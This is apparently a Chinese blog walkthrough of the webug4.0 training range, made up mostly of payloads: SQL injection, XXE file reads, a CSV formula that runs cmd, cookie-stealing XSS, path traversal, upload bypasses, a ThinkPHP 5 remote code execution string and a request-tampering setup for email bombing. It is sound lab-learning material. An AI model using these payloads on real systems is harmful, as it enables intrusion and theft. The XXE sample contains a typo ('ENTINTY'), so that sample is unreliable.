webug4.0通关笔记


官方网站
webug4.0搭建教程


显错注入

注入点:
control/sqlinject/manifest_error.php?id=1

判断注入点

# 1' and 1=1--+
/control/sqlinject/manifest_error.php?id=1' and 1=1--+

在这里插入图片描述

# 1' and 1=2--+
/control/sqlinject/manifest_error.php?id=1' and 1=1--+

在这里插入图片描述
可以看到页面的一些内容变化,说明存在注入

#判断字段数量,数量为2
/control/sqlinject/manifest_error.php?id=1' order by 2--+

#显位
/control/sqlinject/manifest_error.php?id=1' and 1=2 union select 1,2--+

#查看当前库下的所有表
/control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

#查看flag表的所有字段
/control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+

#查看flag内容
/control/sqlinject/manifest_error.php?id=1%27 and 1=2 union select 1,group_concat(flag) from flag--+

布尔注入

#返回正常
/control/sqlinject/bool_injection.php?id=1' and 1=1--+
#异常返回
/control/sqlinject/bool_injection.php?id=1' and 1=2--+

--------------------------------------------------------

#判断数据库长度
/control/sqlinject/bool_injection.php?id=1' and length(database())=5--+
#爆破数据库名字
/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),1,1))=119 --+
/control/sqlinject/bool_injection.php?id=1' and ascii(substr(database(),2,1))=101 --+
...

--------------------------------------------------------

#判断当前数据库表数量
/control/sqlinject/bool_injection.php?id=1' and (select count(*) from information_schema.tables where table_schema=database())=7--+
#判断第一张表,表名的长度
/control/sqlinject/bool_injection.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9--+
#判断第二张表,表名的长度
/control/sqlinject/bool_injection.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8--+
...
#表破第二章表表名
#第一个字符的ascii码值:
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101--+
#第二个字符的ascii码值:
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110--+
...
#爆破出8个ascii值为:101 110 118 95 108 105 115 116 
#解码为env_list

--------------------------------------------------------

#猜解env_list有多少个字段
/control/sqlinject/bool_injection.php?id=1' and (select count(column_name) from information_schema.columns where table_name='env_list')=8--+

#猜解env_list第一个列名字符长度
/control/sqlinject/bool_injection.php?id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2--+
#猜解env_list第二个列名字符长度
/control/sqlinject/bool_injection.php?id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 1,1)=7--+
....
#猜解env_list第五个列名字符长度
/control/sqlinject/bool_injection.php?id=1' and (select length(column_name) from information_schema.columns where table_name='env_list' limit 5,1)=7--+
...

--------------------------------------------------------

#爆破第五个列名,第一个字符的ascii
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101--+
#爆破第五个列名,第二个字符的ascii
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),2,1))=110--+
....
# 爆破了7个字符,ascii码为101 110 118 70 108 97 103 
# 解码后等于envFlag
--------------------------------------------------------

#猜解envFlag字段有多少条记录
/control/sqlinject/bool_injection.php?id=1' and (select count(envFlag) from env_list)=20--+

#猜解envFlag字段第一条字段有多少个字符
/control/sqlinject/bool_injection.php?id=1' and (select length(envFlag) from env_list limit 0,1)=16--+
#猜解envFlag字段第二条字段有多少个字符
/control/sqlinject/bool_injection.php?id=1' and (select length(envFlag) from env_list limit 1,1)=9--+
...

#猜解flag
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102--+
/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100--+
....
#最终爆破完flag的ascii值:102 100 115 97 102 115 100 102 97 
#解码为:fdsafsdfa

延时注入

延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。

可以看到我以下payload的规则:

1' and if(/*!上一关盲注语句*/,sleep(3),1)--+
#出现延迟,说明存在注入
1' and sleep(10)--+

#判断数据库字符长度
1' and if(length(database())=5,sleep(3),1)--+

#爆破数据库名
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1)--+
1' and if(ascii(substr(database(),2,1))=101,sleep(3),1)--+
...


#判断当前数据库表数量
1' and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)--+
#判断第一张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)--+
#判断第二张表,表名的长度
1' and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)--+
#判断第三张表,表名的长度
...

#表破第二章表表名
#第一个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)--+
#第二个字符的ascii码值
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)--+
#第三个字符的ascii码值
...

#猜解表有多少个字段
1' and if((select count(column_name) from information_schema.columns where table_name='env_list')=8,sleep(3),1)--+
#猜解表的第一个列名字符长度
1' and if((select length(column_name) from information_schema.columns where table_name='env_list' limit 0,1)=2,sleep(3),1)--+
#猜解表的第二个列名字符长度
....

#爆破第五个列名,第一个字符的ascii
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='env_list' limit 5,1),1,1))=101,sleep(3),1)--+
#爆破第五个列名,第二个字符的ascii
...

#猜解envFlag字段有多少条记录
1' and if((select count(envFlag) from env_list)=20,sleep(3),1)--+

#猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)
1' and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)--+

#猜解flag
1' and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)--+

1' and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)--+
.....

#最后flag的ASCII码值为:
103 102 100 103 100 102 115 100 103 
#解码:
gfdgdfsdg

post注入

注入点:
在这里插入图片描述
报错:
在这里插入图片描述

#出现延时
keyWordName=1' or sleep(10)--+

剩下的操作和上一关一样 ,只需要将and改成or即可。


过滤注入

同上,并没有过滤。


宽字节注入

#报错
/control/sqlinject/width_byte_injection.php?id=1%df%27

#正常显示
/control/sqlinject/width_byte_injection.php?id=1%df%27--+

#查看当前字段数,字段数为3
/control/sqlinject/width_byte_injection.php?id=1%df%27 order by 2--+

#显位
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,2--+

#查看所有数据库
/control/sqlinject/width_byte_injection.php?id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata--+

#查看webug数据库下的所有表
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567--+

#查看env_list表下所有字段
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374--+

#查看flag
/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1--+

xxe注入

打开页面,发现可以输入口:

在这里插入图片描述
随意输入一个数据,当时查看了数据包,并没有相关与xml的数据格式,有点懵

在这里插入图片描述
明着说是xxe,就直接输入xml格式数据传输过去

<?xml version="1.0"?>
<helo>
   <batch id="test">
      <title>xxe</title>
      <test>xxe test</test>
	</batch>
</helo>

在这里插入图片描述
可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。

漏洞利用:

此题并没有flag,但可以使用以下payload对系统文件进行任意读取:

<?xml version="1.0"?>
<!DOCTYPE ANY[
	<!ENTINTY read SYSTEM "file:///c/windows/win.ini">
]>
<note>
	<name>$read</name>
</note>

将以上代码利用burp进行url编码

在这里插入图片描述
然后复制payload利用data传输到服务器,就可以看到win.ini里的内容了

在这里插入图片描述

csv注入

后台代码连接数据库账号密码错误了,即使改了之后,也不能实现导出功能。

我把后台代码做了改动过,靶场文件地址:
C:\phpStudy\WWW\control\sqlinject\csv_vuln.php

将所有内容替换成以下代码:

<?php
	$conn = mysqli_connect('localhost', 'root', 'root', 'webug');
	if ($conn) {
    
    
        $sql = "select * from data_crud";
        $res = $conn->query($sql);
    }
	if (isset($_POST['daochu'])){
    
    
		$headerArray = ['name','age','email'];
		$string = implode(",",$headerArray)."\n";//先做出表头
				
		while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
    
    

			$data = [
				['name'=>urldecode($name),'age'=>urldecode($age),'email'=>urldecode($email)]
			];

			foreach ($data as $key => $value) {
    
    
			//把需要的字段一一对应起来,如果已经对应好 直接 $outArray = $value;
				$outArray['name'] = $value['name'];
				$outArray['age'] = $value['age'];
				$outArray['email'] = $value['email'];
				$string .= implode(",",$outArray)."\n"; //用英文逗号分开 
			}
			}
			@$filename = date('Ymd').'.csv'; //设置文件名
			header("Content-type:text/csv");
			header("Content-Disposition:attachment;filename=".$filename);
			header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
			header('Expires:0');
			header('Pragma:public');
			exit(mb_convert_encoding($string, "GBK", "UTF-8"));
			}
?>

<?php
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    
    
    header("Location:../login.php");
}
?>
<!doctype html>
<html>

<head>
    <meta charset="utf-8">
    <title></title>
</head>
<style>
    body{
    
    font-family: Arial, Helvetica, sans-serif;}
    table{
    
    border-collapse: collapse;
        width: 50%;
        text-align: center;}
    td,th{
    
    border:1px solid #ccc; padding: 2px 5px;}
    button{
    
    padding: 5px;}
    div {
    
    
        line-height: 3;
    }
</style>
<body>
<?php
    $conn = mysqli_connect('localhost', 'root', 'root', 'webug');
	$i_name =  urlencode($_POST[name]);
	$i_age =  urlencode($_POST[age]);
	$i_email =  urlencode($_POST[email]);
	if ($conn) {
    
    
		if ($i_name != null && $i_age != null && $i_email != null){
    
    
			$sql = "INSERT INTO data_crud(name,age,email) VALUES ('$i_name','$i_age','$i_email')";
			$res = $conn->query($sql);
		}
	}
    if ($conn) {
    
    
        $sql = "select * from data_crud";
        $res = $conn->query($sql);
    }
?>
    <table id="table">
        <tr>
            <th>Name</th>
            <th>Age</th>
            <th>Email</th>
        </tr>
        <?php

        if ($res) {
    
    

            while (list($id, $name, $age, $email, $deflag) = mysqli_fetch_row($res)){
    
    
                echo '<tr>';
                echo '<input type="text" hidden="hidden" name="id[]" value="'.$id.'">';
                echo '<td><div contenteditable="true">'.urldecode($name).'</div></td>';
                echo '<td><div contenteditable="true">'.urldecode($age).'</div></td>';
                echo  '<td><div contenteditable="true">'.urldecode($email).'</div></td>';
                echo '</tr>';
            }
        }
        ?>
    </table>
	
	<form action="#" method="post">
		<input name="daochu" type="submit" value="导出"/>
		
		

		
	</form>
	<br>
	<h2>添加新用户信息</h2>
<form action="#" method="post">
	<table id="table">
		<tr>
			<td>Name</td>
			<td>Age</td>
			<td>Email</td>
		</tr>
		<tr>
			<td><input name="name" type="text" size="20"/></td>
			<td><input name="age" type="text" size="20"/></td>
			<td><input name="email" type="text" size="20"/></td>
		</tr>
	</table>
    <div>
	<input name="submit" type="submit" value="确认添加"/>
 </form>
		
        
    </div>
</body>
<script src="../../../aa/html/table-to-excel.js"></script>
    <script>
        var tableToExcel = new TableToExcel();
        document.getElementById('button').onclick = function () {
    
    

            tableToExcel.render("table");

        };
        
    </script>
</html>

然后将php版本切换成5.4.45:
在这里插入图片描述

打开靶场就可以看到以下页面:
在这里插入图片描述

漏洞利用:

模拟一个攻击者添加一条信息,payload:

=1+cmd|' /C calc'!A0

在这里插入图片描述
当受害者导出信息,生成csv文件时,将会打开计算机窗口。
如果受害者盲目点是,不看提示的话,就会中招:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
关于更多的csv注入请阅读:https://blog.csdn.net/weixin_41924764/article/details/108665746


反射型xss

#url
/control/xss/xss_1.php?id=1

在这里插入图片描述

可以看到1是我们可控制点

pyaload:

/control/xss/xss_1.php?id=1<script>alert(document.cookie)</script>

在这里插入图片描述

存储型xss

滑到最低,可以发现一个留言板块
在这里插入图片描述
输入任意字符(aaaaa),ctrl+U查看页面源代码
在这里插入图片描述
ctrl+F 搜索aaaaa 可以看到我们输入的位置,并没有被但其他单引号或双引号包含着,那我们可以直接在留言处插入xss语句
在这里插入图片描述
payload:

<script>alert(document.cookie)</script>

在这里插入图片描述


万能密码登陆

账号:admin
密码:’ or ‘1’='1


DOM型xss

打开靶场,可以看到输入框,我们输入任意字符进行搜索
在这里插入图片描述
F12查看页面源代码,可以看到我们输入的值在value中包含着
在这里插入图片描述
payload:

" οnclick=alert(document.cookie) id="

当我们再次点击输入框时,就会执行弹窗了
在这里插入图片描述

过滤xss

过滤了script字符
在这里插入图片描述
换个标签:

<img src=1 onerror=alert(document.cookie)>

在这里插入图片描述

链接注入

"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。
在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。
“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。

http://10.1.1.18/control/xss/link_xss.php?id=<a href="http://baidu.com">baidu</a>

在这里插入图片描述


任意文件下载

打开题目靶场,可以看到下载按钮
在这里插入图片描述
鼠标右键,点击复制链接地址
在这里插入图片描述

#源链接地址
/control/filedownload/file_download.php?file=template/assets/img/1.txt
#修改成
/control/filedownload/file_download.php?file=../../../../windows/win.ini

下载文件后,查看内容,能看到靶机上win.ini的文件内容,说明存在漏洞
在这里插入图片描述
在这里插入图片描述
下载index.php,可以看到php源码

/control/filedownload/file_download.php?file=index.php

此题无flag,可以自己创建一个flag文件在c盘下,然后自己利用漏洞读取

mysql配置文件下载

此题与上题原理相同,不过题目是需要我们下载mysql的配置文件

#../mysql/时,执行了下载命令,说明存在mysql目录
/control/filedownload/ini_file_download.php?file=../mysql/
#直接下载my.ini
/control/filedownload/ini_file_download.php?file=../mysql/my.ini

在这里插入图片描述

文件上传(前端拦截)

打开靶场,可以看到上传时调用js代码

type_filter(this.files)

在这里插入图片描述

删除掉:
在这里插入图片描述
删除后直接上传php文件
在这里插入图片描述

访问:

/template/upload/phpinfo1.php

在这里插入图片描述

文件上传(解析漏洞)

文件名特殊字符绕过,将文件命名为:

phpinfo1.php��.jpg

在这里插入图片描述

上传成功:
在这里插入图片描述


文件上传(畸形文件)

查看了源代码,过滤规则是将php替换成空
在这里插入图片描述
将文件名改成.pphphp即可绕过
在这里插入图片描述
先删除前端校验的js代码

#删除
type_filter(this.files)

在这里插入图片描述
然后直接上传phpinfo1.pphphp


文件上传(截断上传)

文件名特殊字符绕过,将文件命名为:

phpinfo1.php��.jpg

文件上传(htaccess)

靶场环境图片都上传不了

进入目录:C:\phpStudy\WWW\control\upload_file

修改upload_file_5.php

源:
$temp_file = $_FILES['upload_file']['tmp_name'];
修改成:
$temp_file = $_FILES['file']['tmp_name'];

在这里插入图片描述
切换php版本为5.2.17

在这里插入图片描述
老规矩了,删除前端限制的js代码后

先上传文件名为.htaccess的文件

如果是在windows下,文件必须有名字,如果想要创建.htaccess文件可以利用cmd去制作

手动创建一个1.txt文件,然后用ren命令去修改

ren 1.txt .htaccess

制作好后,添加以下内容:

AddType application/x-httpd-php .jpg

老规矩了,删除前端限制的js代码后

上传后抓包,在.htaccess后面加入一个特殊字符(因为后台源代码将htaccess加入了黑名单)

在这里插入图片描述

上传好.htaccess,再上传一个jpg文件
在这里插入图片描述
访问:

http://10.1.1.18//template/upload/php.jpg

在这里插入图片描述


越权修改密码

账号:aaaaa
密码:asdfsadf

进入系统后,看到一个修改密码的页面,输入旧密码和新密码。

在这里插入图片描述
提交抓包,修改url中id参数为1(admin账号的id是1)
在这里插入图片描述

然后从新打开越权修改密码的靶场:

http://10.1.1.18/control/auth_cross/cross_auth_passwd.php

输入刚才我们越权修改的账号密码,即可登录成功。
在这里插入图片描述

支付漏洞

进入靶场,点击立刻购买时,可以看到我们直接购买了商品
在这里插入图片描述
在这里插入图片描述
打开burp suite,点击立刻购买时,拦截数据包
在这里插入图片描述
可以看到金额为100,我们修改成0.01,然后发包
在这里插入图片描述

然后提示我们花了0.01购买了商品
在这里插入图片描述

邮箱轰炸

输入自己邮箱进行,点击注册,然后利用burp suite进行抓包
在这里插入图片描述
发送到intruder模块
在这里插入图片描述
清除标记:
在这里插入图片描述

设置payload:

  1. 选择Null payload
  2. 输入发送次数,20次

然后点击右上角start attack进行发送数据包
在这里插入图片描述

越权查看admin

账号:aaaaa
密码:asdfsadf

默认是这个账号密码,除非前面越权修改密码时改了

登录后修改id为1即可查看admin内容
在这里插入图片描述

URL跳转

在这里插入图片描述
复制链接地址
在这里插入图片描述

#源地址
control/more/url_redirect.php?url=https://www.baidu.com
#修改成
control/more/url_redirect.php?url=https://www.csdn.net/

文件包含漏洞

打开靶场,可以看到url有包含文件
在这里插入图片描述
我们尝试包含win.ini试试

/control/more/file_include.php?filename=../../../../../../../../../../../windows/win.ini

在这里插入图片描述
此题也无flag,可以尽情发挥。

命令执行

打开靶场时出现报错
在这里插入图片描述
进入webug服务器,切换php版本。
在这里插入图片描述
切换版本后,再次访问页面出现ThinkPHP V5框架
在这里插入图片描述
ThinkPHP v5存在一个远程命令执行漏洞,影响的版本为:

Thinkphp 5.x-Thinkphp 5.1.31
Thinkphp 5.0.x<=5.0.23

直接载入payload:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

webshell爆破

先输入任意密码,进行抓包
在这里插入图片描述
发送到intruder模块
在这里插入图片描述
标记密码:
在这里插入图片描述
设置payload:
点击load,选择自己的字典
在这里插入图片描述
加载好字典后,点击右上角start attack进行抓包
在这里插入图片描述
密码为a1
在这里插入图片描述
成功登陆webshell
在这里插入图片描述

ssrf

打开靶场直接Not Found?

其实不是的,注意看以下url,有个参数能够指向一个地址。
在这里插入图片描述

内外网的端口和服务扫描

http://10.1.1.18/control/more/ssrf.php?url=localhost:3306

在这里插入图片描述
主机本地敏感数据的读取

http://10.1.1.18/control/more/ssrf.php?url=file:///c:/windows/win.ini

在这里插入图片描述
关于ssrf更多相关知识:
https://www.jianshu.com/p/d1d1c40f6d4c

猜你喜欢

转载自blog.csdn.net/weixin_41924764/article/details/107548754